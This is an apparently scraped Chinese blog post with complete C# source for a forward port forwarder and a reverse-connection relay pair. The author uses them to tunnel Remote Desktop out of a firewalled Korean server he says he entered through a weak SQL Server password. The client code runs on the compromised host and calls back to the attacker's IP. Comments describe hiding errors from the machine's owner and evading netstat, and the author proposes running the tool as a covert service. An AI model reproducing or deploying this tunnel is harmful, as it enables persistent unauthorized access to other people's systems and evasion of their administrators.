程序博客网 > 数学系的学不学编程

c#做端口转发程序支持正向连接和反向链接

来源：互联网 发布：数学系的学不学编程 编辑：程序博客网 时间：2024/04/26 11:53

3389的时候

例子1：连接a机器的3389端口连不上，因为对方防火墙或者网关做了限制，只能访问a机器的个别端口比如80。

例子2：连接a机器的几乎所有端口都连不上（对方乃内网或者防火墙网关做了限制），只能1433上去，但是对方可以连接你的某些端口。

 

解决

第一种较简单，只需要程序在对方开80，你连接他80，程序收到数据后，发送到他本机的3389，同时从他3389收到数据后返回到你。程序就是一个中转站。

 

[c-sharp] view plaincopy
  1. using System;  
  2. using System.Net.Sockets;  
  3. using System.Threading;  
  4.   
  5. namespace PortTransponder  
  6. {  
  7.     class Program  
  8.     {  
  9.         static void Main(string[] args)  
  10.         {  
  11.             TcpListener tl = new TcpListener(80);//这里开对方可以被你连接并且未被占用的端口  
  12.             tl.Start();  
  13.             while (true)//这里必须用循环，可以接收不止一个客户，因为我发现终端服务有时一个端口不行就换一个端口重连  
  14.             {  
  15.                 //下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转  
  16.                 try  
  17.                 {  
  18.                     TcpClient tc1 = tl.AcceptTcpClient();//这里是等待数据再执行下边，不会100%占用cpu  
  19.                     TcpClient tc2 = new TcpClient("localhost", 3389);  
  20.                     tc1.SendTimeout = 300000;//设定超时，否则端口将一直被占用，即使失去连接  
  21.                     tc1.ReceiveTimeout = 300000;  
  22.                     tc2.SendTimeout = 300000;  
  23.                     tc2.ReceiveTimeout = 300000;  
  24.                     object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  25.                     object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  26.                     ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  27.                     ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  28.                 }  
  29.                 catch { }  
  30.             }  
  31.         }  
  32.         public static void transfer(object obj)  
  33.         {  
  34.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  35.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  36.             NetworkStream ns1 = tc1.GetStream();  
  37.             NetworkStream ns2 = tc2.GetStream();  
  38.             while (true)  
  39.             {  
  40.                 try  
  41.                 {  
  42.                     //这里必须try catch，否则连接一旦中断程序就崩溃了，要是弹出错误提示让机主看见那就囧了  
  43.                     byte[] bt = new byte[10240];  
  44.                     int count = ns1.Read(bt, 0, bt.Length);  
  45.                     ns2.Write(bt, 0, count);  
  46.                 }  
  47.                 catch  
  48.                 {  
  49.                     ns1.Dispose();  
  50.                     ns2.Dispose();  
  51.                     tc1.Close();  
  52.                     tc2.Close();  
  53.                     break;  
  54.                 }  
  55.             }  
  56.         }  
  57.     }  
  58. }  

这样在对方机器执行和，直接mstsc /v:对方ip:80就能终端上去了

 

 

第二种稍微复杂一点，需要客户机和服务器2个程序，你在自己机器上开服务器端，在对方机器上执行客户端连接你的服务器端，一旦连接上你的服务器端再开个端口让终端程序连接，对方机器上客户端再开个端口连接他自己的3389，做2次中转就可以终端上去了。

具体流程

本机ip开8080端口

对方机器连接你的8080端口，比如端口是49908

连接成功后

你的机器再开一个比如9833端口

对方机器再开一个连接连接他自己的3389，比如端口是49909吧

好这时你用你的mstsc连接自己的 localhost:9833，数据包就从本机9833-本机8080-对方49908-对方49909-对方3389，对方3389的数据反着回来就行了。

 

[c-sharp] view plaincopy
  1. //服务器端  
  2. using System;  
  3. using System.Collections.Generic;  
  4. using System.Net.Sockets;  
  5. using System.Threading;  
  6.   
  7. namespace fanxiangserver  
  8. {  
  9.     class Program  
  10.     {  
  11.         public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>();  
  12.         public static NetworkStream kongzhins = null;  
  13.         static void Main(string[] args)  
  14.         {  
  15.             ThreadPool.QueueUserWorkItem(new WaitCallback(start1));  
  16.             ThreadPool.QueueUserWorkItem(new WaitCallback(start2));  
  17.             WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });  
  18.         }  
  19.         public static void start1(object obj)  
  20.         {  
  21.             TcpListener tl = new TcpListener(8080);//开一个对方可以连接的端口，今天这棒子机器连他只能1433，其他连不上，他连别人只能80 8080 21     
  22.             tl.Start();  
  23.             while (true)  
  24.             {  
  25.                 TcpClient tc = tl.AcceptTcpClient();  
  26.                 jieshou(tc);  
  27.             }  
  28.         }  
  29.         public static void start2(object obj)  
  30.         {  
  31.             TcpListener tl = new TcpListener(9833); //开一个随意端口让自己的mstsc连。     
  32.             tl.Start();  
  33.             while (true)  
  34.             {  
  35.                 TcpClient tc = tl.AcceptTcpClient();  
  36.                 Random rnd = new Random();  
  37.                 int biaoji = rnd.Next(1000000000, 2000000000);  
  38.                 dic.Add(biaoji, tc);  
  39.                 byte[] bt = BitConverter.GetBytes(biaoji);  
  40.                 kongzhins.Write(bt, 0, bt.Length);  
  41.             }  
  42.         }  
  43.         public static void jieshou(TcpClient tc)  
  44.         {  
  45.             //这里体现的是一个配对的问题，自己体会一下吧  
  46.             NetworkStream ns = tc.GetStream();  
  47.             byte[] bt = new byte[4];  
  48.             int count = ns.Read(bt, 0, bt.Length);  
  49.             if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b)  
  50.             {  
  51.                 kongzhins = ns;  
  52.             }  
  53.             else  
  54.             {  
  55.                 int biaoji = BitConverter.ToInt32(bt, 0);  
  56.                 lianjie(biaoji, tc);  
  57.             }  
  58.         }  
  59.         public static void lianjie(int biaoji, TcpClient tc1)  
  60.         {  
  61.             TcpClient tc2 = null;  
  62.             if (dic.ContainsKey(biaoji))  
  63.             {  
  64.                 dic.TryGetValue(biaoji, out tc2);  
  65.                 dic.Remove(biaoji);  
  66.                 tc1.SendTimeout = 300000;  
  67.                 tc1.ReceiveTimeout = 300000;  
  68.                 tc2.SendTimeout = 300000;  
  69.                 tc2.ReceiveTimeout = 300000;  
  70.                 object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  71.                 object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  72.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  73.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  74.             }  
  75.         }  
  76.         public static void transfer(object obj)  
  77.         {  
  78.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  79.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  80.             NetworkStream ns1 = tc1.GetStream();  
  81.             NetworkStream ns2 = tc2.GetStream();  
  82.             while (true)  
  83.             {  
  84.                 try  
  85.                 {  
  86.                     //这里必须try catch，否则连接一旦中断程序就崩溃了，要是弹出错误提示让机主看见那就囧了  
  87.                     byte[] bt = new byte[10240];  
  88.                     int count = ns1.Read(bt, 0, bt.Length);  
  89.                     ns2.Write(bt, 0, count);  
  90.                 }  
  91.                 catch  
  92.                 {  
  93.                     ns1.Dispose();  
  94.                     ns2.Dispose();  
  95.                     tc1.Close();  
  96.                     tc2.Close();  
  97.                     break;  
  98.                 }  
  99.             }  
  100.         }  
  101.     }  
  102. }  

[c-sharp] view plaincopy
  1. //客户端  
  2. using System;  
  3. using System.Text;  
  4. using System.Net.Sockets;  
  5. using System.Threading;  
  6.   
  7. namespace fanxiangclient  
  8. {  
  9.     class Program  
  10.     {  
  11.         public static NetworkStream kongzhins = null;  
  12.         static void Main(string[] args)  
  13.         {  
  14.             try  
  15.             {  
  16.                 TcpClient tc = new TcpClient("你的IP", 8080);  
  17.                 kongzhins = tc.GetStream();  
  18.                 byte[] bt = Encoding.Default.GetBytes("ok");//这里发送一个连接提示  
  19.                 kongzhins.Write(bt, 0, bt.Length);  
  20.                 jieshou();  
  21.                 WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });//这里为什么要这样呢?我发现sqlserver执行是localsystem账号如果console.read()程序马上退出  
  22.             }  
  23.             catch { }  
  24.         }  
  25.         public static void jieshou()  
  26.         {  
  27.             while (true)  
  28.             {  
  29.                 byte[] bt = new byte[4];  
  30.                 kongzhins.Read(bt, 0, bt.Length);  
  31.                 TcpClient tc1 = new TcpClient("你的IP", 8080);  
  32.                 TcpClient tc2 = new TcpClient("localhost", 3389);  
  33.                 tc1.SendTimeout = 300000;  
  34.                 tc1.ReceiveTimeout = 300000;  
  35.                 tc2.SendTimeout = 300000;  
  36.                 tc2.ReceiveTimeout = 300000;  
  37.                 tc1.GetStream().Write(bt, 0, bt.Length);  
  38.                 object obj1 = (object)(new TcpClient[] { tc1, tc2 });  
  39.                 object obj2 = (object)(new TcpClient[] { tc2, tc1 });  
  40.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1);  
  41.                 ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2);  
  42.             }  
  43.         }  
  44.         public static void transfer(object obj)  
  45.         {  
  46.             TcpClient tc1 = ((TcpClient[])obj)[0];  
  47.             TcpClient tc2 = ((TcpClient[])obj)[1];  
  48.             NetworkStream ns1 = tc1.GetStream();  
  49.             NetworkStream ns2 = tc2.GetStream();  
  50.             while (true)  
  51.             {  
  52.                 try  
  53.                 {  
  54.                     byte[] bt = new byte[10240];  
  55.                     int count = ns1.Read(bt, 0, bt.Length);  
  56.                     ns2.Write(bt, 0, count);  
  57.                 }  
  58.                 catch  
  59.                 {  
  60.                     ns1.Dispose();  
  61.                     ns2.Dispose();  
  62.                     tc1.Close();  
  63.                     tc2.Close();  
  64.                     break;  
  65.                 }  
  66.             }  
  67.         }  
  68.     }  
  69. }  

 

 

 

好，这样你连接mstsc /v:localhost:9833，后数据就经过了好几转转到了对方的3389上。这样即使对方是内网也可以被终端了，而且好处是对方查看netstat -an看到的是这种东西

 

 

활성 연결

  프로토콜  로컬 주소           외부 주소              상태
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING
  TCP    他的IP:139             0.0.0.0:0              LISTENING
  TCP    他的IP:49908           我的IP:8080            ESTABLISHED
  TCP    [::]:135               [::]:0                 LISTENING
  TCP    [::]:445               [::]:0                 LISTENING
  TCP    [::]:3389              [::]:0                 LISTENING
  TCP    [::]:5357              [::]:0                 LISTENING
  TCP    [::]:49152             [::]:0                 LISTENING
  TCP    [::]:49153             [::]:0                 LISTENING
  TCP    [::]:49154             [::]:0                 LISTENING
  TCP    [::]:49155             [::]:0                 LISTENING
  TCP    [::]:49156             [::]:0                 LISTENING
  TCP    [::]:49157             [::]:0                 LISTENING
  TCP    [::1]:3389             [::1]:49909            ESTABLISHED
  TCP    [::1]:49909            [::1]:3389             ESTABLISHED
  UDP    0.0.0.0:123            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:1434           *:*
  UDP    0.0.0.0:3702           *:*
  UDP    0.0.0.0:3702           *:*
  UDP    0.0.0.0:4500           *:*
  UDP    0.0.0.0:5355           *:*
  UDP    0.0.0.0:64966          *:*
  UDP    他的IP:137             *:*
  UDP    他的IP:138             *:*
  UDP    [::]:123               *:*
  UDP    [::]:500               *:*
  UDP    [::]:3702              *:*
  UDP    [::]:3702              *:*
  UDP    [::]:5355              *:*
  UDP    [::]:64967             *:*

 

只能看到他的49908在连接我的8080，就像看网站一样，要是80就更像了，而49909连接3389一般注意不到，反正没有ip地址，这棒子想不到吧，他做的这么变态的限制都被终端上去了，起因就是sqlserver弱口令和权限，这个机器是win2008，i7 920的u，不明白棒子的网管为什么一点安全知识都没有，而且屡教不改，上次进去一看，那机器已经被国内黑克给x了n遍了，上边布满了木马，最后实在启动不了了，他重装了，结果那个sqlserver还是那个权限还是那个密码，服气吧。但是如果netstat -ano发现连我的pid和连3389的pid是一个那就可以发现了。

 

以上程序都是经我测试后非常ok的，但是没有经过优化，尤其是反向连接的，可以做成个服务是吧，或者连接的时候加个验证啦什么的，还有我的Ip地址也是变的，可以做成个服务，定时读取某一网页上我的新ip，告诉他连还是不连啦，什么的。而且还可以做成个http代理翻wall啦，总之花样是很多的。

 

2010年9月10日下午18点更正反向连接的一个小问题，即连接配对的问题，这样的话只要肉鸡反向连接到你的服务器端，你可以开多个终端上去用不同的账号同时登陆了。

 

看到好多人说cpu占用率高什么的，我补充一句，我给出代码的目的是告诉大家端口转发的方法和思路，并不是让你直接粘过去用，如果那样的话我直接编译成exe不就完了吗，授人以鱼不如授人以渔对吧，所以大家看明白了怎么回事自己去改和优化，像缓冲区大小是否合适啦，超时啦，连接判断啦什么的，这些都是要自己去优化的，所以代码很短嘛，就是为了让大家看的简单明了，所以直接用的话效率不会很高，但这是个完整骨架，我自己用的就在这段骨架的基础上优化并增加了很多功能，而且cpu占用率内存占用都是没有问题的。

0 0
数学系的学不学编程 数学系的学不学编程
原创粉丝点击
热门IT博客
windows live语言设置windows live语言设置
杂志免费阅读软件杂志免费阅读软件
php视频直播系统源码
linux vi 搜索字符串
分班软件bianban
自动化运维软件
linux查询mysql端口号
js 获取高度
荣威rx5网络连接异常
三丰轮廓仪怎样编程
网络舆情评应急预案
淘宝开票申请要钱吗
掌上道聚城网络错误
mac virtualbox usb3.0
网络玄幻小说合集32
软件开发进度月报
英国查理一世 知乎
windows 远程桌面 手机
淘宝手模特招聘
iphone模拟定位软件
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防，我是瞎子 家用电动压面机 家用光伏发电设备价格 家用椭圆机价格 新风系统 家用 新风系统家用 家用灭火器价格 家用电器批发 家用按摩椅价格 家用电焊机价格 家用吸顶灯具 家用茶几价格 家用节电器价格 家用电子称价格 家用路由器价格 格力家用空调 家用多功能榨汁机 家用台式电脑 家用小电器批发 家用电梯品牌 大空间家用车 家用suv车型推荐 小型家用洗衣机 家用宽带价格 家用工具套装 家用锅炉哪个品牌好 家用发电机价格 家用地源热泵 什么牌子的烤箱好用家用 家电论坛 旧家电 二手家电 黑天鹅家电 小家电代理 云米家电 西门子家电 家电网 绿色家电 家电下乡 广东家电 海信家电 佛山家电

程序博客网，程序员的互联网技术博客家园。csdn论坛精品 msdn技术资料都在这里